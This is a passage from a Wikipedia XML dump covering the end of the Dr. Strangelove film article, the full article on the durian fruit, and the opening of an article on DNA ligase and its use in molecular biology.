[[Peter George]]'s ''Red Alert,'' to which Kubrick himself owned the creative rights. The plan ended up working exactly as Kubrick intended; [[Fail-Safe]] opened a full eight months behind Dr. Strangelove to critical acclaim, but mediocre box office results.  

Also released in 1964 was [[Warner Brothers]]' ''[[Seven Days in May]].'' The plot involves a [[Coup d'etat|coup]] attempt by the Joint Chiefs of Staff to prevent the President of the United States from signing a [[nuclear disarmament]] treaty with the Soviets, whom they believe cannot be trusted.

== The Kennedy assassination ==
A first test screening of the movie was actually scheduled to be on [[November 22]], [[1963]], the day of the [[John F. Kennedy assassination]].  The film was just weeks from its scheduled premiere. The release was delayed until late January 1964 as it was felt that the public was in no mood for such a film any sooner.  

Additionally, one line by Slim Pickens (&quot;a fella could have a pretty good weekend in [[Dallas, Texas|Dallas]] with all that stuff&quot;) was dubbed to become &quot;in [[Las Vegas, Nevada|Vegas]]&quot;. The dub is just barely visible if Pickens' lips are watched closely when he speaks. Also, the climactic pie-fight scene was scripted to include General Turgidson exclaiming, &quot;Gentlemen! Our gallant young president has been struck down in his prime!&quot; after Muffley takes a pie in the face. While the pie fight was filmed but cut, this line, no matter how coincidental, would have hit too close to home to be used.

== Songs ==
* An instrumental version of &quot;Try a Little Tenderness&quot;, a sentimental pop song from the 1930s, is played during the opening titles sequence which features shots of [[aerial refueling]] of a B52 bomber.
* &quot;[[Johnny I Hardly Knew Ye]]&quot;, [[Irish]] traditional anti-war song. The tune is also used for the American patriotic song [[When Johnny Comes Marching Home]]. An instrumental version is used to accompany the B-52 flight, leaving an ambiguity as to which set of words is being referred to.
* &quot;[[We'll Meet Again  (song)|We'll Meet Again]]&quot; sung by [[Vera Lynn]], optimistic, sentimental [[World War II]] song, played as the bombs explode at the end of the film.
* Mandrake suspects that all is not as it seems, when he turns on an unconfiscated radio and hears pop music when there should be [[Civil Defense]] alerts, but the music itself is anonymous.

==Trivia==
*In several shots of the B-52 flying over the polar ice en route to Russia, the shadow of the actual camera plane, a [[Boeing]] [[B-17 Flying Fortress]], is visible on the snow below.  The B-52 was a model composited into the arctic footage which was sped up to create a (quite unconvincing) sense of jet speed.  The camera ship, a former USAAF B-17G-100-VE, serial 44-85643, registered F-BEEA, had been one of four Flying Forts purchased from salvage at Altus, Oklahoma in December 1947 by the French Institut Geographique National and converted for survey and photo-mapping duty.  It was the last active B-17 of a total of fourteen once operated by the IGN, but it was destroyed in a take-off accident at RAF Binbrook in 1989 during filming of the movie &quot;Memphis Belle.&quot;  Home movie footage included in &quot;Inside the Making of Dr. Strangelove&quot; on the 2001 Special Edition DVD release of the film show clips of the Fortress with a cursive &quot;Dr. Strangelove&quot; painted over the rear entry hatch on the right side of the fuselage.

*The nuclear explosions at the end of the film are all of actual US nuclear tests. Many of them were shot at [[Bikini Atoll]], and old warships (such as the German [[Prinz Eugen]] heavy cruiser) expended as targets are plainly visible. In others the smoke trails of rockets used to create a calibration backdrop on the sky behind the explosion can be seen.

*In the novelisation, the &quot;mineshaft&quot; survival technique succeeded, at least for a while, as the story is said to have been reconstructed from documents found at the bottom of deep mineshafts.

*During the filming, Stanley Kubrick and George C. Scott had differences of opinions regarding certain scenes. However, Kubrick got Scott to conform based largely upon his ability to beat Scott at chess (which they played frequently on the set). In the end, Scott was extremely displeased with Kubrick's work methods and with the (purposely) overacted performance he got out of him, and swore to never work with him again.

*The photographic mural in General Ripper's office, presumably showing an aerial view of Burpelson AFB, is actually a view of [[Heathrow Airport]], London.

*The line &quot;I can walk&quot; given by Peter Sellers in this film is repeated by Sellers in Revenge of the Pink Panther when he has to walk on his knees in his Toulouse-Lautrec disguise.

==Popular Culture References==
*The popular television series ''[[The Simpsons]]'' contains several references to Dr. Strangelove. Here are only a few examples:
:*In the episode &quot;[[Homer the Vigilante]]&quot;, [[Homer Simpson]] rides a bomb à la Major Kong
:*The episode &quot;[[Sideshow Bob's Last Gleaming]]&quot; features a 'war room', and [[Sideshow Bob]] whistles &quot;[[We'll Meet Again (song)|We’ll Meet Again]]&quot;
:*The episode &quot;$pringfield (or, How I learned to stop worrying and love legalized gambling)&quot; is an obvious parody of the title.
:*General Turgidson appears in ''[[Treehouse of Horror XIII]]'', again in Mayor Quimby's war room. Professor Frink can be seen as Dr. Strangelove.

*In ''Dr. Strangelove'', the CRM-114 is the nomenclature of the [[Strategic Air Command]] encryption/decryption device aboard the [[B-52 Stratofortress]] (and also a frequent in-joke used by Kubrick in his other films). This has been referenced:
**In an episode of the television series Star Trek: Deep Space Nine, the characters make reference to a powerful laser cannon called the 'CRM-114'.
**In Kubrick's film &quot;[[A Clockwork Orange]]&quot; the serum which is given to the main character during the so-called &quot;Lodovico treatment&quot; is called 'Serum 114'. 
**In the first scene of ''[[Back to the Future]]'', [[Marty McFly]] switches an amplifier with the words 'CRM-114' printed on it.
**The CRM114 Discriminator is the name of a data stream analyzer (think SPAM filter) which achieves very high accuracy based on a &quot;learning&quot; algorithm.
**In the 2005 film ''[[Fun_with_Dick_and_Jane_%282005_film%29|Fun with Dick and Jane]]'' a financial transaction form is referred to as a 'CRM-114'.

*The film inspired the nickname &quot;Dr. Strangeglove&quot; for [[Boston Red Sox]] slugger [[Dick Stuart]], a first baseman notorious for fielding his position poorly.

*The 1998 film [[Deep Impact (film)|Deep Impact]] discussed preparations for surviving a massive asteroid strike upon the Earth, and mineshafts are drafted into service for this reason, in an echo of the survival plan in &quot;[[Dr. Strangelove]].&quot; Additionally, a lottery system is proposed for selection of candidates for survival, much like that proposed by Dr. Strangelove himself.

*In 1965 Science fiction author [[Philip K. Dick]] released a novel about a post apocalyptic society Titled [[Dr. Bloodmoney, or How We Got Along After the Bomb]]. This was not the originally intended title, but was suggested by his publisher to coincide with the popularity of the Kubrick film.

*Several video games reference various elements from ''Dr. Strangelove'':
**The character of [[List of antagonists in Xenosaga#Sellers|Sellers]] in ''[[Xenosaga]]'' appears to be based off Dr. Strangelove. He rides a (futuristic) wheelchair, wears dark sunglasses, and somewhat physically resembles actor Peter Sellers.
**There is a modification available for [[Unreal Tournament]] called [[Strangelove (video_game)|Strangelove]] which allows the player to ride &quot;The Redeemer,&quot; a small nuclear weapon, around the game, much like Major Kong.
**In [[Starcraft]], the race of aliens known as the [[Zerg]] are described as having a &quot;purity of essence&quot;.  This could be a reference to the &quot;purity&quot; and &quot;essence&quot; of &quot;bodily fluids&quot; that General Ripper describes.

*An abandoned [[Lunar base]] in [[Shane Johnson]]'s Christian science fiction novel ''[[Ice (novel)|Ice]]'' is described as containing one with a War Room quite similar to the room depicted in ''Dr. Strangelove'', causing one character in that novel to remark specifically on the similarity.

*The video for [[Muse (band)|Muse]]'s [[Time Is Running Out]] features military men and women sitting in a war room planning the destruction of the world around a table identical to the one in [[Dr Strangelove]] as the band sings in the centre of the table.

==See also==
*[[Slim Pickens]] for listing of the survival pack
*[[Films that have been considered the greatest ever]]

==External links==
{{wikiquote}}
* {{imdb title|id=0057012|title=Dr. Strangelove}}
* {{filmsite|id=drst|title=Dr. Strangelove}}
* [http://www.dvdjournal.com/reviews/d/drstrangelove_40ae.shtml &quot;Dr. Strangelove&quot; at DVD Journal]
* [http://trace.ntu.ac.uk/frame2/articles/borg/kahn.html Herman Kahn's doomsday machine]
* [http://www.visual-memory.co.uk/amk/doc/0055.html Continuity transcript]
* [http://www.visual-memory.co.uk/amk/doc/0017.html A Commentary on Dr. Strangelove]
* [http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=%2F19990711%2FREVIEWS08%2F907110301%2F1023 Great Movies: Dr. Strangelove] By Roger Ebert

{{Stanley Kubrick Films}}

 &lt;!-- Peter Sellers --&gt;


[[Category:1964 films]]
[[Category:Best Actor Oscar Nominee (film)]]
[[Category:Best Picture Oscar Nominee]]
[[Category:Cold War films]]
[[Category:Comedy films]]
[[Category:Cult films]]
[[Category:Films based on fiction books]]
[[Category:Films directed by Stanley Kubrick]]
[[Category:Satirical films]]
[[Category:United States National Film Registry]]

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[[de:Dr. Seltsam oder: Wie ich lernte, die Bombe zu lieben]]
[[es:Dr. Strangelove]]
[[fi:Tohtori Outolempi]]
[[fr:Docteur Folamour]]
[[he:דוקטור סטריינג'לב]]
[[it:Il dottor Stranamore, ovvero: come imparai a non preoccuparmi e ad amare la bomba]]
[[ja:博士の異常な愛情、又は私は如何にして心配するのを止めて水爆を愛するようになったか]]
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[[pt:Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb]]
[[ru:Доктор Стрейнджлав, или Как я перестал бояться и полюбил бомбу (фильм)]]
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| subdivision = 
About 27 species, including:&lt;br/&gt;
''Durio dulcis''&lt;br/&gt;
''Durio grandiflorus''&lt;br/&gt;
''Durio graveolens''&lt;br/&gt;
''[[Durio kutejensis]]''&lt;br/&gt;
''Durio oxleyanus''&lt;br/&gt;
''Durio wyattsmithii''&lt;br/&gt;
''Durio zibethinus''
}}

The '''durian''' is the [[fruit]] of several [[species]] of trees in the [[genus]] ''Durio'', especially  ''Durio&amp;nbsp;zibethinus''. There are 25 to 30 ''Durio'' species in total, all native to south-eastern [[Asia]]. Only six species produce edible fruit,&lt;ref&gt;Morton. [http://www.hort.purdue.edu/newcrop/morton/durian_ars.html#Related%20Species]&lt;/ref&gt; and ''Durio zibethinus'' is the only species widely available in the market, though other species can be found in local markets in their native region. The durian fruit is distinctive for its large size, unique odour, and its formidible thorn-covered [[husk]]. Its name comes from the [[Malay_language|Malay]] word ''duri'', meaning &quot;thorn&quot;.&lt;ref&gt;Via ''durion'', the Malay name for the plant. Oxford English Dictionary 1897; Huxley 1992.&lt;/ref&gt; 

The fruit can grow up to 40&amp;nbsp;cm long and 30&amp;nbsp;cm in diameter, and typically weighs one to five kg. The colour of the fruit ranges from green to brown, the shape oblong to round. Its hard outer [[husk]] is covered with sharp, prickly [[Spine (biology)|thorns]], and a strong, distinctive [[odor|odour]] emits from the flesh within. Some regard this odour as fragrant, while the uninitiated often find it overpowering or offensive. The edible portions of the fruit are the yellowish, [[custard]]-like flesh and the the [[seed]] which it surrounds.

==Tree==
[[Image:Durio Zibethinus Van Nooten.jpg|thumb|left|''Durio Zibethinus''. [[Chromolithograph]] by Hoola Van Nooten, circa 1863.]]
Durians are large [[tree]]s, growing up to 40&amp;nbsp;metres in height. The leaves are [[evergreen]], opposite, elliptic to oblong and 10&amp;ndash;18&amp;nbsp;cm long. The flowers are produced in clusters of 3&amp;ndash;30 together on large branches and the trunk, each flower having a calyx ([[sepals]]) and 5 (rarely 4 or 6) [[petal]]s. A typical durian tree can bear fruit after four or five years. The durian fruit, which can hang from any branch, matures in about three months after [[pollination]]. 

Durian trees usually have two flowering and fruiting periods each year, although the timing of these varies depending on localities. Durian flowers are large and feathery with copious [[nectar (plant)|nectar]], and give off a heavy, sour and buttery odour. These features are typical of flowers which are pollinated hy certain species of [[bat]]s while they eat nectar and [[pollen]].&lt;ref&gt;Whitten, p. 329.&lt;/ref&gt; According to a research conducted in Malaysia, durians are pollinated almost exclusively by cave fruit bats.&lt;ref&gt;Soepadmo and Eow, 1977.&lt;/ref&gt;

There are many [[cultivar]]s of the durian, each having a name and also a code number starting with &quot;D&quot;. For example, some popular clones are D24, D99, D158 and D159 (or 'Mon Thong'). Since the durian is the topic of study in certain [[agriculture|agricultural]] institutions, certain commercial strains are given a D number to distinguish them from &quot;standard&quot; wild species. Each cultivar has its distinct taste.

==Availability==
[[Image:Durian_stall.JPG|thumb|250px|right|A durian stall in Singapore]]
The durian is native to [[Indonesia]], [[Malaysia]], and [[Brunei]], although it can grow in any similar climate. The center of [[ecology|ecological]] diversity for durians is the island of [[Borneo]], where it is prized by the local people, a passion shared by the [[orangutan]] population. [[Thailand]] is a major exporter of durians. Other places where durians are grown include [[Mindanao]] in the [[Philippines]], [[Queensland]] in [[Australia]], [[Cambodia]], [[Laos]], [[Vietnam]], [[India]], [[Sri Lanka]], and parts of [[Hawaii]]. In the Philippines, the center of durian production is the [[Davao Region]] in [[Mindanao]]. The Kadayawan festival is an annual celebration featuring the durian in [[Davao City]]. 

In season they can be found in mainstream [[Japan]]ese supermarkets; in the West they are sold mainly by stores catering to Asian communities.

==History==
The earliest known European reference on the durian is the record of Nicolo Conti who travelled to south-eastern Asia in 15th century.&lt;ref&gt;Brown.&lt;/ref&gt; In 16th century, [[Garcia de Orta]] mentioned durians in his several works. In 1741, Rumphius published ''Herbarium Amboinense'', providing the most detailed and accurate account of durians for over a century. 

During the early stages of its taxonomical study, there was some confusion between durian and the [[soursop]] (''Annona muricata''), for both of these species had thorny green fruit.&lt;ref&gt;Brown.&lt;/ref&gt; It is also interesting to note the Malay name for the soursop is ''durian Belanda'', meaning &quot;Dutch durian&quot;.&lt;ref&gt;Davidson, p. 737.&lt;/ref&gt; In 18th century, Weinmann considered the durian to belong to Castaneae as its fruit was similar to the [[horse chestnut]].

{{sect-stub}}

==Flavour and odour==
[[Image:Singapore MRT Fines.jpg|thumb|160px|left|Sign forbidding durians on [[Singapore MRT]]]]
&lt;!--[[Image:Durian-verbot.jpg|thumb|Durians forbidden sign in [[Malaysia]]]] (We really don't need two pictures in this small section)--&gt;
Writing in 1856, the British naturalist [[Alfred Russel Wallace]] provides a much-quoted description of the flavour of the Durian: 
&lt;blockquote&gt;
''A rich custard highly flavoured with almonds gives the best general idea of it, but there are occasional wafts of flavour that call to mind cream-cheese, onion-sauce, sherry-wine, and other incongruous dishes. Then there is a rich glutinous smoothness in the pulp which nothing else possesses, but which adds to its delicacy''&lt;ref&gt;Printed in volume 8 of [[William Jackson Hooker]]'s ''Journal of Botany'', 1856. [http://www.wku.edu/~smithch/wallace/S027.htm Text online] from the Alfred Russel Wallace page.&lt;/ref&gt;.    
&lt;/blockquote&gt;

Wallace cautions that &quot;the smell of the ripe fruit is certainly at first disagreeable&quot;; more recent descriptions by westerners can be more graphic. &lt;!-- Source for this one? -- Westerners have described the experience of eating the durian as &quot;like eating custard in a public [[lavatory]]&quot;.--&gt; Travel and food writer Richard Sterling says:  
&lt;blockquote&gt;''... its odor is best described as pig-shit, turpentine and onions, garnished with a gym sock.  It can be smelled from yards away.  Despite its great local popularity, the raw fruit is forbidden from some establishments such as hotels, subways and airports, including public transportation in Southeast Asia''&lt;ref&gt;{{cite book | author=Winokur, Jon (Editor) | title=The Traveling Curmudgeon: Irreverent Notes, Quotes, and Anecdotes on Dismal Destinations, Excess Baggage, the Full Upright Position, and Other Reasons Not to Go There | publisher=Sasquatch Books | year=2003 | id=ISBN 1570613893}} p. 102.&lt;/ref&gt;.
&lt;/blockquote&gt;

The unusual odour has prompted many people to search for an accurate description. Comparisons have been made with the [[civet cat]], [[sewage]], stale vomit, and used surgical swabs.&lt;ref&gt;Davidson, p. 263.&lt;/ref&gt; What is known about the chemical property of durian is that the ripe flesh is a complex hybrid of volatile [[organosulfur compound]]s, including [[ethyl mercaptan]] (C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;6&lt;/sub&gt;S), and some of which are unidentified.  These compounds oxidise upon exposure to air and are responsible for the unusual odours that develop. Due to this odour, it is forbidden to bring durians as hand luggage onto aircraft belonging to some airlines, to carry them on [[Mass Rapid Transit (Singapore)|Singapore's Mass Rapid Transit system]], or to store or eat them in many hotels.

This strong odour can be detected half a mile away by animals, thus luring them. In addition, the fruit is extremely appetizing to a variety of animals, from squirrels to [[Chevrotain|mouse deer]], [[pig]]s, and [[orangutan]]. While some of these animals eat the fruit and dispose of the seed under the parent plant, others swallow the seed with the fruit and then transport it some distance before excreting it, the seed being dispersed as the result.&lt;ref&gt;Marinelli, p.691.&lt;/ref&gt; The thorny armored covering of the fruit may have evolved to discourage smaller animals, since larger animals are more likely to transport the seeds far from the parent tree.&lt;ref&gt;{{cite book | author=McGee, Harold | title=On Food and Cooking (Revised Edition) | publisher=Scribner | year=2004 | id=ISBN 0-684-80001-2}} p. 379&lt;/ref&gt;

==Selection==
Many regular durian-eaters have their own methods of selecting the best fruit from a given pile. In the past such methods were important given that the durian is a seasonal fruit which used to be [[harvest]]ed once a year. Nowadays it is harvested about twice a year and it is not so important to always be able to choose the best fruit available. Due to increased supply the retailers have become more competitive in their approach.

Knowing how to pick the right fruit was imperative when retailers sold the fruit &quot;as is&quot;, without dissection. Today resellers usually dissect the fruit and sell only the edible parts inside. This has made it much easier for the customers to discern the quality of the fruit they are buying.

Selection of durians in an orchard is simpler. Fruit from the same tree will generally have the same properties, and fruit is generally allowed to ripen and fall from the tree so the ripeness of the fruit is not a matter of concern.

Selection of fruit outside of a farm setting is slightly trickier. The following are some of the basic methods used:

* Generally the freshness of a fruit can be ascertained from the [[stalk]]. Once a fruit has been removed from the tree the stalk starts to dry off. Unscrupulous merchants may seek to wrap or paint the stalk to prevent easy detection. Other merchants may even remove the stalks.
* Most customers enjoy the fruit when the pulp is dry and mature. An easy way to tell if the pulp is dry without opening the fruit is to shake the fruit and listen for a slight rattling. Moist pulp sticks to the inside of the fruit, while dry pulp tends to be separate from the inside walls of the fruit. Care must be taken that one is not injured by the thorns of the fruit during this operation. 
* Durians may be attacked by [[insect]] [[Pest (animal)|pest]]s which lay [[Egg (biology)|egg]]s in the fruit. These develop into worm-like [[larva]]e, which burrow into the flesh of the fruit. It is important in purchasing whole fruit to avoid buying fruit with any holes in them, as this indicates the presence of insect infestation. On the other hand, some customers knowingly buy durians with &quot;worms&quot; present, in the belief that the presence of worms is a sign that the fruit will be sweet and tasty.

The exact state of ripeness for a durian to be enjoyed varies from country to country in southeast Asia. As a general rule of thumb, people in southern Thailand like their durians relatively young; that is to say, the fruit has to be plucked from the tree. Eaten in this state, the clusters of fruit within the shell are still crisp in texture and mild in both flavour and aroma. In northern Thailand, the preference is for the fruit to be as soft and pungent in aroma as possible. 

In [[Malaysia]] and [[Singapore]] however, durian [[aficionado]]s prefer the fruit to fall from the tree and may even risk allowing the fruit to continue ripening before opening it. Eaten in this state, the flesh becomes richly creamy, the aroma more pronounced and the flavour highly complex. It is often said amongst Malaysians and Singaporeans that a balance between the bitter and sweet flavours signifies the perfect state of ripeness but to the Thais in the south, this level of ripeness can be excessive. What is agreed however, is that when the flesh starts to ferment and becomes alcoholic, the point of ripeness has been exceeded and the fruit should not be eaten.

==Opening==
[[Image:Durianpack01.JPG|thumb|Sections of durian, sold in a styrofoam container. One section is broken open, showing the seed.]]
Opening a whole durian can be a difficult operation, especially with a fruit that has not ripened to the point where its husk has started to split open &amp;mdash; a point some cultures call overripe and some call perfect. These splits occur along natural weak lines in the husk; there are usually five such lines, mirroring the segments of fruit inside. Using tools or bare hands, it is possible to force the fruit open along a pair of these lines.

Many vendors in south-east Asia sell durian segments already removed from the husk, often packed in [[styrofoam]] boxes. Other vendors will open the fruit as a service once the buyer has agreed to purchase it. However, a durian once opened has to be consumed within a few hours as opened fruit will quickly begin to exude moisture. This will cause the fruit to lose much of its flavour and become rather tasteless.

==Culinary uses==

Durian fruit is used to flavour sweets such as candy, rose biscuits, cakes and ice cream. Some modern variants of [[mooncake]]s are filled with durian paste. [[Glutinous rice]] can be steamed with coconut milk and served with ripened durian. ''Tempoyak'' refers to fermented durian, usually made from lower quality durian that is unsuitable for direct consumption.&lt;ref&gt;http://www.ecst.csuchico.edu/~durian/rec/recipe.htm (Accessed 3 March 2006)&lt;/ref&gt; ''Tempoyak'' can be eaten either cooked or uncooked, is normally eaten with rice, and can also be used for making [[curry]]. 
{{cookbook}}
Unripe durians may be cooked as vegetable, except in the Philippines, where all uses are sweet rather than savoury. Malaysians make both sugared and salted preserves from durian. When durian is minced with salt and onions and vinegar, it is called ''boder''. The durian seeds, which are the size of chestnuts, can be eaten whether they are boiled, roasted or fried in coconut oil, with a texture that is similar to taro or yam, but stickier.

In some Asian countries, Durian is believed to have warming properties, liable to cause sweating. The traditional method to counteract this is to pour salt water from the empty shell of the fruit, after the pulp has been entirely consumed, and drink it. Washing hands with this water also helps remove the strong odour. Another method is to eat the durian in accompaniment with [[mangosteen]]s, considered to have cooling properties. The [[Javanese]] believe durian to have [[aphrodisiac]] qualities, and impose a strict set of rules on what may or may not be consumed with the durian or shortly after.&lt;ref&gt;Davidson, p. 263&lt;/ref&gt; People with [[high blood pressure]] are traditionally advised not to consume durian due to its richness. Many durian eaters also advise against eating durian while consuming alcoholic beverages.

==Durian dangers==
[[Image:ARS Durian.jpg|left|thumb|A durian fruit with its sharp thorns.]]
A durian falling on a person's head can cause serious injuries or death because it is heavy, spiky, and may fall from high up, so a [[hardhat]] is recommended when collecting the fruit. For this reason the durian is sometimes called the most dangerous fruit in the world, along with its name in [[Vietnamese language|Vietnamese]], ''sau rieng'' meaning &quot;private sorrow&quot;. However, there are actually few reports of people getting hurt from falling durians. While there is a belief among locals that the durian &quot;has eyes&quot; and will not fall on a person, it is probably because the fruits on a durian tree don't ripen and fall at the same time. From observation, most of the fruits drop from the tree late in the evening or after dark. Even then, it is extremely rare to find a whole bunch of durians falling at the same time. The Malay saying ''Durian runtuh'', which can be translated as &quot;Durian shower&quot;, is used to describe the sudden occurrence of a rare event.

Some durian are sold &quot;thornless&quot;. These fruits have the thorns sheared off when young rather than being naturally thornless. Some durians really do have almost no spines, i.e. less than 5mm high.

The 5 September 2005 [[Mandala Airlines Flight 091]]  crash in Indonesia has been blamed on illegal overloading of cargo, reportedly caused by two tonnes of durian fruit brought aboard by the Sumatran governor and former governor. The fruits were intended as gifts to bring to Jakarta.&lt;ref&gt;http://www.suaramerdeka.com/harian/0509/11/nas02.htm (Accessed Feb 25 2006)&lt;/ref&gt;

== In popular culture ==
[[Image:The Esplanade 4, Singapore, Dec 05.JPG|right|thumb|200px|Singapore's [[Esplanade - Theatres on the Bay|Esplanade]] building: nicknamed &quot;The Durian&quot;.]]
*The durian is known as the &quot;king of the fruits&quot;. This label can be attributed to its formidable look and its overpowering odour. The mangosteen, called as the &quot;queen of fruits&quot;, is petite and mild in comparison. The mangosteen season coincides with that of the durian and is seen as a complement, which is probably how it got its label.
*Wallace cited an enthusiastic long list of durian recipes in his book, which provoked a limerick sarcasm in ''Horticulture'', printed in 1973:

:''The durian — neither Wallace or Darwin agreed on it.&lt;/br&gt;
:''Darwin said 'may your worst enemies be forced to feed on it.'&lt;/br&gt;
:''Wallace cried 'it's delicious.'&lt;/br&gt;
:''Darwin replied 'I'm suspicious,&lt;/br&gt;
:''For the flavour is scented&lt;/br&gt;
:''Like papaya fermented&lt;/br&gt;
:''After a fruit-eating bat has pee'd on it.'''&lt;/br&gt;

*The [[Esplanade - Theatres on the Bay|Esplanade]] building in Singapore is often called &quot;The Durian&quot;, which it resembles in shape and texture.
*In a scene in the martial arts film ''The Canton Godfather'', starring [[Jackie Chan]], the [[protagonist]] defends himself using durians.
*The &quot;beauty is in the eye of the beholder&quot; aspect of durians is an important theme in [[Hong Kong]] director [[Fruit Chan]]'s 2000 film ''Durian Durian'' (榴槤飄飄, Liulian piao piao).
*In the film ''In the Mood for Love'' a character tells a quote that says &quot;if a mainland Chinese in Singapore tries durians and likes them, he will never return to China.&quot;
*The Durian is one of seven kinds of fruit featuring in the gameplay of ''[[Super Mario Sunshine]]''.&lt;ref&gt;[http://guides.ign.com/guides/16713/page_3.html IGN Guides]. Retrieved 25 February 2006.&lt;/ref&gt;
*One of the featured stunts in ''[[Fear Factor]]'' included eating durians.
*The manga and anime ''[[Dragon Ball]]'' features [[List_of_Frieza_Related_Characters_in_Dragon_Ball#Dodoria|Dodoria]], the villain whose name and spiky appearance are derived from the durian fruit.
*''[[Mawas]]'', the Malaysian version of Bigfoot, has been claimed to feast on durian, among other fruits.&lt;ref&gt;[http://www.hamiltonspectator.com/NASApp/cs/ContentServer?pagename=hamilton/Layout/Article_Type1&amp;c=Article&amp;cid=1140824435846&amp;call_pageid=1020420665036&amp;col=1112188062620 Stalking Bigfoot] [http://www.hamiltonspectator.com/pdfs/20060225/D18.pdf pdf version](Accessed 4 March 2006)&lt;/ref&gt;

==Notes==
&lt;references/&gt;

==References==
*{{cite book | author=Brown, Michael J. | title=Durio &amp;mdash; A Bibliographic Review | publisher=International Plant Genetic Resources Institute | year=1997 | id=92-9043-318-3}} [http://www.ipgri.cgiar.org/publications/pubfile.asp?ID_PUB=654 Information] [http://www.ipgri.cgiar.org/regions/apo/publications/durio/durio.htm All chapters] (PDF format) 
*{{cite book | author=Davidson, Alan | title=The Oxford Companion to Food | publisher=Oxford University Press | year=1999 | id=ISBN 0192115790}}
*{{cite book | author=Huxley, A., ed. | title=New RHS Dictionary of Gardening | publisher=Macmillan | year=1992 | id=ISBN 1561590010}}
*{{cite book | author=Marinelli, Janet, ed. | title=Brooklyn Botanic Garden Gardener's Desk Reference | publisher=Henry Holt and Co. | year=1998 | id=ISBN 0805050957}}
*{{cite book | author=Morton, J. F. | title=Fruits of Warm Climates | publisher=Florida Flair Books | year=1987 | id=ISBN 0961018410}} [http://www.hort.purdue.edu/newcrop/morton/index.html Full text] [http://www.hort.purdue.edu/newcrop/morton/durian_ars.html Durian chapter]
*Soepadmo, E. and Eow, B.K. (1977). ''The reproductive biology of Durian zibethinus''. Gdns'Bull. Singapore 29: 25-34. (12.1.68)
*{{cite book | author=Whitten, Tony | title=The Ecology of Sumatra | publisher=Periplus | year=2001 | id=ISBN 9625930744}}

==External links==
*[http://www.ars-grin.gov/cgi-bin/npgs/html/splist.pl?4046 Germplasm Resources Information Network: ''Durio'']
*[http://www.bbg.org/gar2/topics/kitchen/2002fa_durian.html Brooklyn Botanic Garden: Durian—The real Forbidden Fruit]
*[http://www.montosogardens.com/durio_zibethinus.htm Durio zibethinus (Bombacaceae)]

[[Category:Malvaceae]]
[[Category:Fruit]]

[[da:Durian]]
[[de:Durian]]
[[fr:Durion]]
[[id:Durian]]
[[ms:Durian]]
[[ja:ドリアン]]
[[nl:Doerian]]
[[pt:Durião]]
[[vi:Sầu riêng]]
[[fi:Durian]]
[[zh:榴槤]]</text>
    </revision>
  </page>
  <page>
    <title>DNA ligase</title>
    <id>8697</id>
    <revision>
      <id>40203488</id>
      <timestamp>2006-02-18T23:03:18Z</timestamp>
      <contributor>
        <username>Smurrayinchester</username>
        <id>390688</id>
      </contributor>
      <minor />
      <comment>/* Applications in molecular biology research */ - Change superscript O to °c</comment>
      <text xml:space="preserve">{{Protbox header |Name=DNA ligase }}
{{Protbox codes
   |Symbol=LIG1 
   |AltSymbols=
   |Chromosome=19
   |Locus=
   |AApre=919 
   |AApro=---
   |HGNCid=6598
   |Codes={{EntrezGene|3978}}, {{RefSeq|NM_000234}}, {{UniProt|P18858}}, {{OMIM|126391}}
}}
{{Protbox codes
   |Symbol=LIG3 
   |AltSymbols=
   |Chromosome=17
   |Locus=q11.2-q12
   |AApre=922 
   |AApro=---
   |HGNCid=6600
   |Codes={{EntrezGene|3980}}, {{RefSeq|NM_002311}}, {{UniProt|P49916}}, {{OMIM|600940}}
}}
{{Protbox codes
   |Symbol=LIG4 
   |AltSymbols=
   |Chromosome=13
   |Locus=q33-q34
   |AApre=844 
   |AApro=---
   |HGNCid=
   |Codes={{EntrezGene|3981}}, {{RefSeq|NM_002312}}, {{UniProt|P49917}}, {{OMIM|601837}}
}}
{{Protbox finish}} 
In [[molecular biology]], '''DNA ligase''' is a particular type of [[ligase]] ({{EC number|6.5.1.1}}) that can link together DNA strands that have double-strand breaks (a break in both complementary strands of DNA).  The alternative, a single-strand break, is easily fixed by [[DNA polymerase]] using the [[Complementary_DNA|complementary strand]] as a [[template]] but still requires DNA ligase to create the final [[phosphodiester bond]] to fully repair the DNA.      

DNA ligase has applications in both [[DNA repair]] and [[DNA replication]] (see [[DNA ligase#Mammalian ligases|''Mammalian ligases'']]).  In addition, DNA ligase has extensive use in molecular biology laboratories for [[recombination]] experiments (see [[DNA ligase#Applications in molecular biology research|''Applications in molecular biology research'']]).

==Ligase mechanism==
The mechanism of DNA ligase in connecting broken DNA strands is to form [[covalent]] [[phosphodiester bonds]] between [[3' end|3' hydroxyl ends]] of one [[nucleotide]] with the [[5' end|5' phosphate end]] of another. 

A pictorial example of how a ligase works (with [[sticky end]]s):

[[image:DNA before ligase.PNG]]

becomes

[[image:DNA after ligase.PNG]]

Ligase will also work with [[blunt end]]s, although higher enzyme concentrations and different reaction conditions are required.

==Mammalian ligases==
In mammals, there are four specific types of ligase.
*DNA ligase I: ligates Okazaki fragments during [[lagging strand]] [[DNA replication]] and some [[recombinant]] fragments.
*DNA ligase II: alternatively [[splice|spliced]] form of DNA ligase III found in non-dividing cells.
*DNA ligase III: [[protein complex|complexes]] with [[DNA repair]] [[protein]] [[XRCC1]] to aid in sealing [[DNA_repair|base excision]] [[mutations]] and recombinant fragments.
*DNA ligase IV: complexes with DNA protein [[XRCC4]] and has similar function to DNA ligase III.  It is more important in [[developmental biology|development]].

==Applications in molecular biology research==
DNA ligases have become an indispensable tool in modern molecular biology research for generating [[recombinant]] DNA sequences.  For example, it is possible mix [[restriction enzyme|cut]] [[plasmid]]s (with sticky ends), free-floating [[genes]] (with complementary sticky ends), and [[ligase]] to insert the gene into the plasmid.  

One vital, and often tricky, aspect to performing successful recombination experiments involving ligase is controlling the optimal temperature.  Most experiments use T4 DNA Ligase (isolated from T4 [[bacteriophage]]) which is most active at 25°c.  However in order to perform successful ligations, the optimal enzyme temperature needs to be balanced with the [[melting temperature]] T&lt;sub&gt;m&lt;/sub&gt; (also the [[annealing temperature]]) of the DNA fragments being ligated.  If the ambient temperature exceeds T&lt;sub&gt;m&lt;/sub&gt;, [[Homologous_chromosome|homologous pairing]] of the sticky ends will not occur because the high temperature disrupts [[hydrogen bonding]].  The shorter the DNA fragments, the lower the T&lt;sub&gt;m&lt;/sub&gt;.  Thus for extremely short fragments on the order of tens of [[base pairs]], ligation experiments are performed at very low temperatures (~4°c) for a long period of time (often overnight).

